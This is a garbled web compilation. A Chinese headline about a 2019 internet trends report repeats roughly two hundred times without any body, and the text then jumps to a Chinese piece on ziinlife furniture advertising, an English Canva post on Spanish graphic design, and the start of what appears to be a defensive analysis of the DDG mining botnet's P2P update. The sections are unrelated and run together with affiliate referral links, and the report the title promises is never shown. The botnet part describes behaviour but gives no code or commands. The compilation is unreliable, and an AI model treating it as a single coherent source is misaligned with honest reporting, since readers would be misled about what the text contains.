2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会
2019中国互联网趋势报告,解读未来16大机会

作者:腾讯新闻

来源:企鹅智库

原文地址:https://mp.weixin.qq.com/s/dGke-7qMrPRErnd-ufyolA

Via www.woshipm.com

Ref. https://union-click.jd.com/jdc?d=ZKPlW2

“Wow 柜子原来还可以发光”“圆桌原来可以贴墙而放”“一盏落地灯,竟会左右摇摆!”

家具,原来还可以这样!

家居设计品牌 ziinlife 吱音近日发布的五周年品牌大片《有趣的家具,懂你的设计》,是种种惊叹号“!”的合集,猜不到的结局,小转折的幽默,诠释了吱音式的创意。

这个屡获设计大奖的本土原创设计品牌,自2013年创立至今,已经在线上积累了超过100w粉丝。通过这组系列广告片,吱音希望向更广泛的大众传递品牌理念——创意地解决问题,用设计为生活带来更多启迪。

吱音5周年品牌大片:家具,原来还可以这样!
吱音5周年品牌大片:家具,原来还可以这样!

以下五集短片,愿你因为这次观看,而得到了一些有趣的创意灵感。

用设计为生活带来启迪

这组色调、节奏明快的系列广告包含5支短片,由知名创意工作室RED+PLUS操刀执行。该系列从不同维度表达吱音对设计的理解,但并没有“理所当然”地呈现日常家居生活,而是截取了几个颇具戏剧性的场景,放大设计本身的巧思之处。

通过极简纯粹的美术风格,仿佛超现实般的幽默叙事,不仅给你一次舒展想象力的观看体验,也巧妙地回答了“吱音是谁”这个问题。

01、可以弯曲“上墙”的吧台桌?

吱音5周年品牌大片:家具,原来还可以这样!
吱音5周年品牌大片:家具,原来还可以这样!
吱音5周年品牌大片:家具,原来还可以这样!
吱音5周年品牌大片:家具,原来还可以这样!

人生总曲折,能曲,更要能折。

吱音5周年品牌大片:家具,原来还可以这样!
吱音5周年品牌大片:家具,原来还可以这样!

02、向自然借光的柜子?

吱音5周年品牌大片:家具,原来还可以这样!
吱音5周年品牌大片:家具,原来还可以这样!
吱音5周年品牌大片:家具,原来还可以这样!
吱音5周年品牌大片:家具,原来还可以这样!

要努力发光,更要勇敢借光。

吱音5周年品牌大片:家具,原来还可以这样!
吱音5周年品牌大片:家具,原来还可以这样!

03、让猫咪都脑洞大开的落地灯?

吱音5周年品牌大片:家具,原来还可以这样!
吱音5周年品牌大片:家具,原来还可以这样!

懂得喊停,比忙于追逐更重要。

吱音5周年品牌大片:家具,原来还可以这样!
吱音5周年品牌大片:家具,原来还可以这样!

04、可以开交响乐的沙发床?

吱音5周年品牌大片:家具,原来还可以这样!
吱音5周年品牌大片:家具,原来还可以这样!

从我到我们,要合拍,更要放得开。

吱音5周年品牌大片:家具,原来还可以这样!
吱音5周年品牌大片:家具,原来还可以这样!

05、那么,吱音是……?

《有趣的家具,懂你的设计》平面海报

吱音5周年品牌大片:家具,原来还可以这样!
吱音5周年品牌大片:家具,原来还可以这样!
吱音5周年品牌大片:家具,原来还可以这样!
吱音5周年品牌大片:家具,原来还可以这样!
吱音5周年品牌大片:家具,原来还可以这样!
吱音5周年品牌大片:家具,原来还可以这样!
吱音5周年品牌大片:家具,原来还可以这样!
吱音5周年品牌大片:家具,原来还可以这样!

创意驱动的家居设计品牌,如何向大众介绍自己?

《有趣的家具,懂你的设计》系列大片,宣布了吱音品牌五周年的开始,也由此延伸出一系列的传播,清晰地向大众表达吱音对设计的态度,以及品牌立于设计行业中的独特之处。

吱音是……

一个创意驱动的家居品牌,用设计让你觉得“哈,世界原来还可以这样!”

一种幽默感。迂回婉转的,不是“哈哈哈哈”大笑的,如同脑中小台灯忽然亮起的。

或者也是一群人。就像身边的老朋友,彼此总有很多默契,不经意间,蹦出脑洞大开的想法。

吱音是一个等你填写,有无限种创意解法的答案。

其品牌广告传播文案中写道。

吱音5周年品牌大片:家具,原来还可以这样!
吱音5周年品牌大片:家具,原来还可以这样!
吱音5周年品牌大片:家具,原来还可以这样!
吱音5周年品牌大片:家具,原来还可以这样!
吱音5周年品牌大片:家具,原来还可以这样!
吱音5周年品牌大片:家具,原来还可以这样!
吱音5周年品牌大片:家具,原来还可以这样!
吱音5周年品牌大片:家具,原来还可以这样!
吱音5周年品牌大片:家具,原来还可以这样!
吱音5周年品牌大片:家具,原来还可以这样!

2013-2018年,作为由电商起家的创新家居品牌,吱音已拓展多个不同电商渠道,顾客覆盖全国;同时顺应了新零售趋势,在北京、上海、杭州、香港布局7家线下店(其中3家为2018年下半年新开幕),让用户更近距离体验产品,感受设计的乐趣和价值。

在品牌创立第五年,吱音也洞察到家居市场发展的新局面。

大众在消费升级的过程中,对审美、个性化、生活品质产生更高阶的需求,但对于设计能在多大程度上满足这一需求还不够清晰,“原创设计”依然会被贴上“有距离感”“不易理解”等标签。这个不断壮大的市场,更需要有力的发声来解答这些问题。

吱音的目标用户群体正是这个市场中的“主力军”,他们对审美和生活品质更有需求和判断力,他们有好奇心,对生活用品、家居用品更乐于探索和尝试。

吱音5周年品牌大片:家具,原来还可以这样!
吱音5周年品牌大片:家具,原来还可以这样!
吱音5周年品牌大片:家具,原来还可以这样!
吱音5周年品牌大片:家具,原来还可以这样!
吱音5周年品牌大片:家具,原来还可以这样!

吱音5周年品牌大片:家具,原来还可以这样!
吱音5周年品牌大片:家具,原来还可以这样!

吱音5周年品牌大片:家具,原来还可以这样!
吱音5周年品牌大片:家具,原来还可以这样!
吱音5周年品牌大片:家具,原来还可以这样!
吱音5周年品牌大片:家具,原来还可以这样!
吱音5周年品牌大片:家具,原来还可以这样!
吱音5周年品牌大片:家具,原来还可以这样!
吱音5周年品牌大片:家具,原来还可以这样!
吱音5周年品牌大片:家具,原来还可以这样!
吱音5周年品牌大片:家具,原来还可以这样!
吱音5周年品牌大片:家具,原来还可以这样!

于是,经过吱音与RED+PLUS的多次会议,体验、讨论、创意发想到定下基调,这系列广告最终选择通过4支故事,从不同出发点,体现吱音对生活、对设计的观察与感受。

其中舍弃了情怀加持、高冷说教以及冗长叙事,而用简单灵动的视觉语言和表达语言——一 系列与传统家居广告不同的沟通方式,更巧妙地呈现出吱音不同于家居市场上其他品牌的产品、品牌态度与创意面貌。

“有趣的家具,懂你的设计”,吱音五周年大片的传播如同吱音又一次“自我介绍”的开场白,不仅落地到社交媒体、视频网站、商场广告推广等宣传渠道,接下来围绕这一主题的线下体验升级、空间美学呈现、互动场景设计等,也将逐一铺开。

吱音希望在每一个可能的接触点,用不同的方式,与大家共同分享一个设计品牌五岁的成长、探索与笃定,也让大众更了解设计于日常生活的价值,继而关注到更多能够站在国际中的中国原创设计力量。

ziinlife, a lovely surprise to be!

Via creative.adquan.com

Ref. https://union-click.jd.com/jdc?d=ZKPlW2

Spanish culture is everything but boring.

Its mouthwatering culinary options, mesmerizing flamenco dancers, and crazy festivals are just some of the wonderfully exciting things Spanish culture has to offer.

Its eclectic design world is no different. Offering a broad range of styles, techniques, and approaches, it is one of the most exciting design landscapes I’ve had the chance to dive into in quite some time.

Below we’ve compiled five of Spanish design’s most prominent characteristics and six designers and studios that exemplify them to share with you. Hopefully they’ll prompt you to dive in deeper into the region’s exciting design world!

01. Heavy use of red


   Javier Ties Identity Design by Lo Siento
Javier Ties Identity Design by Lo Siento

   London 12 Type Postcards by Astrid Stavro Studio
London 12 Type Postcards by Astrid Stavro Studio

They say if you can’t make it big, make it red. This rings especially true in the world of Spanish design. A variety of different design pieces from a number of studios and designs of the region all make heavy use of the eye-catching color.

The use of red in Spanish design doesn’t follow a set of rules. It is ever changing and applied in many different ways. It can be an accent or the driving force behind a piece.

Consider the examples above. In both the London 12 Typeface postcard series and the Javier Ties identity system, the color red is used as a prominent design element, serving as both a background and a unifier across the series.

Both cases use the color red boldly and pull it off wonderfully. However, it might not always be the best way to go. To dive a bit deeper into the pros and cons of using red and when you might want to steer clear of it, check this great article out.

It’s not certain whether the heavy use of red in Spanish design is derived entirely from the color’s popularity within Spanish culture. But flamenco dresses, La Tomatina , and even the Country’s very own flag all seem to suggest that red runs in the Spanish designers’ blood!

Want to give red a shot? Dive right in. Just remember, it is an extremely dominant color and will quickly garner a viewer’s attention. Be sure to keep this in mind and use it to your advantage to create a focal point.

Be bold and use red in your design, just like here with the  Red Illustrated Floral Art Fundraiser Flyer template and the  Red and Cream Illustration Sale Retail Flyer template.

Graphic design from around the world: Spanish design
Graphic design from around the world: Spanish design

Use this template

Graphic design from around the world: Spanish design
Graphic design from around the world: Spanish design

Use this template

02. Texture as a design element


   Estones de Mishima by Folch
Estones de Mishima by Folch

   Estones de Mishima by Folch
Estones de Mishima by Folch

As I browsed through a number of lovely design pieces from the region, I noticed texture was commonly used as a design element .

These awesome textures, however, weren’t just loaded from the library of pre-packaged textures from the software we use to design. They were created from scratch, adding a bespoke vibe to them.

In many cases, these custom textures were created using meaningful materials and elements. Take this piece , for example. Handsome, textured letterforms were created using rice: an ingredient crucial in the making of the dishes the restaurant being branded offers.

Textures can do a myriad of things for your work. You can use them to create a certain “feel,” create visual interest or to convey specific messages. 

To learn more about the many uses of textures in design in detail and how you can apply them, pop over to Veronika Theodor’s article on the role of textures in contemporary design.

Dig into your projects and find meaningful ingredients, items, or imagery that could give way to an exciting custom texture. Struggling to find something like it? Break out a box of crayons or a paint roller and some ink. Going analog might just yield the best results.

A close shot of textured items, like cloth, can make interesting backgrounds. Check out these designs that have them:  Brown Paper Texture Background Beer Label and  Colorful Modern Texture Cinco de Mayo Facebook Post .

Graphic design from around the world: Spanish design
Graphic design from around the world: Spanish design

Use this template

Graphic design from around the world: Spanish design
Graphic design from around the world: Spanish design

Use this template

03. Bold type


   The Washington Post by Lo Siento
The Washington Post by Lo Siento

   Pull and Bear Press Kit by Ana Mirats
Pull and Bear Press Kit by Ana Mirats

Bold type—but not weight wise. Many pieces of Spanish design are type-centric, placing type front and center. It isn’t uncommon to find covers, books, and posters featuring expressive type or branding projects with masterfully set characters.

Type-centric pieces can help you produce work that communicates easily. Focusing on type and setting it in the right hierarchy can help you produce work that lets viewers access information easily.

Messages set in large beautiful type are also a way to quickly transmit information—they also ensure the message doesn’t fly past a viewer’s eye. It’s pretty hard to miss type that is 100 pt+, right?

A number of pieces combine texture with type—as seen in The Washington Post by Lo Siento we showcased above—to bring about interesting alternatives to the traditional clean san-serifs types abundant in today’s design world.  And not only are textures decorative, but they are also expressive and great ways to create the right “feel.”

They say typography is one of the toughest fields in design to master. Don’t let this intimidate you if you are keen to make your next design endeavor type-centric. Just be sure to observe the fundamentals: kerning, tracking, and leading.

Let the kind of font you use speak volumes and attract attention, like  Orange Photo Job Vacancy Announcement and  Yellow White Job Post / Vacancy / Announcement Flyer templates.

Graphic design from around the world: Spanish design
Graphic design from around the world: Spanish design

Use this template

Graphic design from around the world: Spanish design
Graphic design from around the world: Spanish design

Use this template

04. Bright color palettes


   Identity for Octavio Barrera by Jorge Leon
Identity for Octavio Barrera by Jorge Leon

   Branding for Firmamento by Jorge Leon
Branding for Firmamento by Jorge Leon

In my last post, Graphic Design From Around the World: Scandinavian Design , I explored the different characteristics that make Scandinavian design so darn good. Among them was the use of muted, earthy color palettes inspired by the great Scandinavian outdoors.

Spanish design steers clear of shy shades of blue and tan and dives right into vibrant palettes made up of a variety of hues.

A myriad of posters, book covers, and identity systems from design studios and designers in Spain feature vibrant palettes that drive their design. Just like with the usage of red, how lively palettes are used doesn’t follow a pattern.

They may employ a complementary, analogous, or a triad color palette—the unifying thread in them, however, is the vibrancy of the hues that make them up.

Bright colors will sometimes be used as accents, just like Jorge Leon did for Firmamento above. In other cases, you’ll find that colors are used as the leading design element.

If you want to give a complex palette with numerous colors a shot but aren’t sure about how to achieve harmony, equalize the saturation and brightness of each hue you select. This is an easy way to make sure your colors play well with each other .  

Don’t be afraid to play with colors, just like with the  Orange Blue Collage International Friendship Day Instagram Post template and  Bright Funky Boxes Sale Retail Store Instagram Post template.

Graphic design from around the world: Spanish design
Graphic design from around the world: Spanish design

Use this template

Graphic design from around the world: Spanish design
Graphic design from around the world: Spanish design

Use this template

05. Beautiful patterns


   Bacon or Die Skateboard by Querida
Bacon or Die Skateboard by Querida

   La Cerdanya Branding by Firma
La Cerdanya Branding by Firma

Creative patterns deck the faces of many design pieces coming out of the Spanish region.

Sometimes they are quirky, as seen on the Bacon or Die Skateboard featured above. At other times they are modern, built with meaningful elements that make up a brand system, as seen in the La Cerdanya branding above.

In both pieces featured above, patterns are an integral part of the work.

The sizzling bacon slices on Querida’s skateboard pattern deck the bottom of the skateboard—prime real estate on these fun four-wheelers—granting dynamism and movement to the otherwise static black and white design.

In La Cerdanya’s example, the back of the paper stationery set for the stockbreeders features a pattern. Whenever official mail goes out, the receiving end will likely be greeted by the pattern as soon as he/she pops the envelope open, giving the pattern a primary role in the experience design around the brand.

Patterns don’t always have to reign supreme. You can opt to use them as secondary design elements. Try lining the interior of a packaging set with them or as the interior of a table book.

And if you’ve decided to create a pattern, keep in mind that patterns don’t always have to be perfectly symmetrical or have to repeat in exactly the same ways.

Adding a bit of chaos to them can actually make them more interesting. Build your patterns using random placement or allow for subtle inconsistencies. 

Patterns can be a centerpiece of your design or a subtle element in the background. Check out  Light Brown Illustration Food Poster and  Le Soleil Paris .

Graphic design from around the world: Spanish design
Graphic design from around the world: Spanish design

Use this template

Graphic design from around the world: Spanish design
Graphic design from around the world: Spanish design

Use this template

Spanish designers

Since you’re likely eager to see more examples of how these design principles are applied in by designers and studios from all over the region, I’ve also gathered six of my favorite Spanish studios and designers.

I’ve pulled a few great shots and projects from each of the studio’s or designer’s portfolio. Each example showcases the characteristics we covered above and provides a bit of inspiration.

As much as I would have loved to, I couldn’t pull out all the awesome work each has to offer—so be sure to click over to check out everything else they have to offer. I promise it won’t disappoint!

01. Lo Siento


   L’Arroseria by Lo Siento
L’Arroseria by Lo Siento

Remember the handsome rice letterforms we covered above? They are part of the branding Lo Siento created for L’Arroseria. But it’s not the only project they knocked out of the park—they have produced dozens of excellent pieces across a variety of design disciplines that showcase why Spanish design is so darn good.

Among my favorite projects by Lo Siento is the identity system and packaging they created for Comaxurros . The identity features a set of characters that turn into a driving design element for the brand. Their long limbs and expressive faces help add a playful vibe to the brand. And did I mention they’ve created an irresistible pattern with them?

02. Astrid Stavro Studio


   Vegetables From an Italian Garden by Astrid Stavro Studio
Vegetables From an Italian Garden by Astrid Stavro Studio

Astrid Stavro Studio joined forces with Grafica to become Design by Atlas . They have, of course, continued to produce outstanding work. While the Design by Atlas site isn’t entirely up and running, you can still click over for a full-screen slideshow that will let you check out what they’ve been up to.

From Astrid Stavro Studio I love Habitatge/Cat , a catalog for an exhibition on housing in Catalunya. It features a combination of spreads designed with bold type, icons, and bright colors. Its got a contemporary vibe to it and is definitely worth checking out.

I am also fond of the work she has created for Backlist and their classic literature system. Using a unifying grid system, Stavro designed a set of book covers using shapes and a lovely serif face. Be sure to check them out here .  

03. Firma


   Granell Identity by Firma
Granell Identity by Firma

The Garnell Identity featured above by Firma is another excellent example of how vibrant colors are commonly used in Spanish design.

In this case, color is used to create a system that allows customers to differentiate between different products. The palette, however, is so beautifully balanced that it creates an overarching sense of unity among all of them, allowing them to feel like a family.

Firma worked with Miin Cosmetics to develop an identity for them among other things. While it does not feature a plethora of vibrant colors or textures, is it beautiful and a refreshingly different solution to cosmetic branding.

Built with vectors, clean type, and a pretty pink, it definitely doesn’t feel like anything I’ve seen on the shelves of a beauty shop before.

04. Ana Mirats


   Massimo Dutti Coffee Table Book by Ana Mirats
Massimo Dutti Coffee Table Book by Ana Mirats

Ana Mirats features a portfolio stacked with gorgeous editorial design and print. She has produced a variety of pieces for fashion houses like Massimo Dutti, Pull & Bear, and Zara. They range from posters to books to advertising material. If you are looking for print inspiration, be sure to check out some of her work.

While all of the work she has produced for said fashion houses is amazing, I am quite fond of the corporate identity she developed for Minis made up of letterforms that are also quirky characters. They add character and cute visuals to the brand—check it out here

05. Jorge Leon


   Andbank Poster by Jorge Leon
Andbank Poster by Jorge Leon

Jorge Leon is another designer from the region who has worked for some of the studios we’ve featured here, like Folch and Firma. He has worked on and produced a variety of projects that include branding, books, posters, and ads among others. These all come together to create a diverse but masterful portfolio worth spending some time poking around in.

Be sure to click over to Jorge Leon’s personal website to check out what he’s been up to lately. Personally, I really enjoyed seeing the identity he designed for Amigos Skate Shop . The entire identity is built using solely simple shapes and a bright palette featuring just two colors. Click over and make googly eyes at it with me.   

06. Querida


   Berlinist–The Winter Hexagon by Querida
Berlinist–The Winter Hexagon by Querida

Finally, I want to introduce you to Querida. On this studio’s modern looking site you’ll find a number of projects with textures, bright colors, and lovely bold type. Above you’ll find the LP cover for Berlinist – The Winter Hexagon , an excellent example of how texture can be used in your work.

Querida is responsible for the design of The Box Social’s visual identity . It is extremely simple in the most beautiful way and features fresh illustrations. I love the grid system they’ve developed for the identity that helps tie all the elements together. Be sure to click over to check out how it plays out throughout it!

Over to you

And there you have it! A breakdown of some of the most common characteristics prominent in Spanish design and a few great designers and studios to keep an eye on. Check out their sites and add them to your social radar. They are likely to produce amazing work you can learn from and be inspired by!

Spanish design’s broad range of styles, techniques, and approaches are sure to flavor your designs with its unique vibrancy and dynamism if you give it a shot.

Via www.canva.com

Ref. https://en.wikipedia.org/wiki/La_Tomatina, http://www.astridstavro.com/ldn-12-type-postcards/, http://www.losiento.net/entry/javier-tles, https://learn.canva.com/blog/red-means/, https://en.wikipedia.org/wiki/La_Tomatina, https://canva.me/7MAkIzpZUT, https://canva.me/s423A6NZUT, https://canva.me/7MAkIzpZUT, https://canva.me/s423A6NZUT, https://www.canva.com/learn/texture/, http://www.losiento.net/entry/l-arroseria, https://learn.canva.com/blog/texture/, https://canva.me/ThpE1WUZUT, https://canva.me/ey16FJ4ZUT, https://canva.me/ThpE1WUZUT, https://canva.me/ey16FJ4ZUT, http://www.losiento.net/entry/the-washington-post, https://canva.me/XAAKQAa0UT, https://canva.me/OSAPNel0UT, https://canva.me/XAAKQAa0UT, https://canva.me/OSAPNel0UT, https://learn.canva.com/blog/scandinavian-design/, http://leonjorge.com/firmamento/, https://www.canva.com/learn/color-psychology-the-logo-color-tricks-used-by-top-companies/, https://canva.me/PEEc4oQ0UT, https://canva.me/TLXnRKY0UT, https://canva.me/PEEc4oQ0UT, https://canva.me/TLXnRKY0UT, http://www.querida.si/work/bacon-or-die/, http://www.firma.es/projects/casa-cerdanya/, https://canva.me/hLhHOt50UT, https://canva.me/sbmNt7c1UT, https://canva.me/hLhHOt50UT, https://canva.me/sbmNt7c1UT, http://www.losiento.net/, http://www.losiento.net/entry/comaxurros, http://www.designbyatlas.com/, http://www.astridstavro.com/habitatgecat/, http://www.astridstavro.com/, http://www.astridstavro.com/clasicos/, http://www.firma.es/projects/miin/, http://www.anamirats.com/, http://www.anamirats.com/site/view/MINIS, http://leonjorge.com/, http://leonjorge.com/, http://leonjorge.com/amigos-skate-shop/, http://leonjorge.com/amigos-skate-shop/, http://www.querida.si/, http://www.querida.si/work/berlinist/, http://www.querida.si/work/the-box-social/, https://union-click.jd.com/jdc?d=ZKPlW2

1. 概述

DDG.Mining.Botnet(以下简称DDG)是我们首先感知并披露的挖矿僵尸网络。我们上一篇相关报告发布于 2018.11 月份,针对当时最新的版本 v3014 。最近,DDG 开始了频繁的更新:从 2019.1.3~2019.1.18 的半个月时间内,发布了 v3015~v3019 共 5 个版本,并在 2019.1.27 发布了最新的 v3020 版本。考虑到该 Botnet 的挖矿收益并不很多( Total Paid: 233.9472098595 XMR),春节前这么短时间如此频繁更新而且没有添加任何漏洞利用,是否有什么大动作,我们拭目以待。

经过我们的梳理分析,这几个版本的更新主要做了以下两件事:

  • 僵尸网络内启用了P2P通信机制 :集成了分布式节点控制框架 Memberlist ,该框架实现了扩展版的 弱一致性分布式控制协议 SWIM (改良版的协议称为 Lifeguard ),并以此实现了 P2P 机制,用来管理自己的 Peers(Bots);
  • 样本实现方面增强了二进制样本层面的对抗 :使用了加壳在内的多种手段,提升样本分析难度。

针对新的 P2P 通信机制,我们编写了针对 DDG 的跟踪进程,可以模拟 DDG 的 Bot。通过访问它的 P2P 网络,我们可以探测其中的节点信息,获取节点列表、最新的配置数据以及最新启用的 CC IP。过程中,我们参考了 Lifeguard 协议和 Memberlist 框架的特性以及 DDG 样本中 P2P 机制的实现细节。

DDG 最近版本更新一览:

DDG 升级: P2P机制加持,样本对抗增强
DDG 升级: P2P机制加持,样本对抗增强

1.1 DDG 僵尸网络背景信息

DDG 是一个专注于扫描控制 SSH 端口、 Redis 数据库 和 OrientDB 数据库服务器,并攫取服务器算力挖矿(门罗币)的僵尸网络。我们在 2017 年 10 月 25 日首次感知到 DDG 僵尸网络,并发布技术分析报告。之后 DDG 数次更新版本,我们也跟踪分析并发布数篇分析报告,报告列表如下,全部的报告列表在这里:

  • DDG.Mining.Botnet:一个瞄准数据库服务器的挖矿僵尸网络
  • DDG.Mining.Botnet 近期活动分析
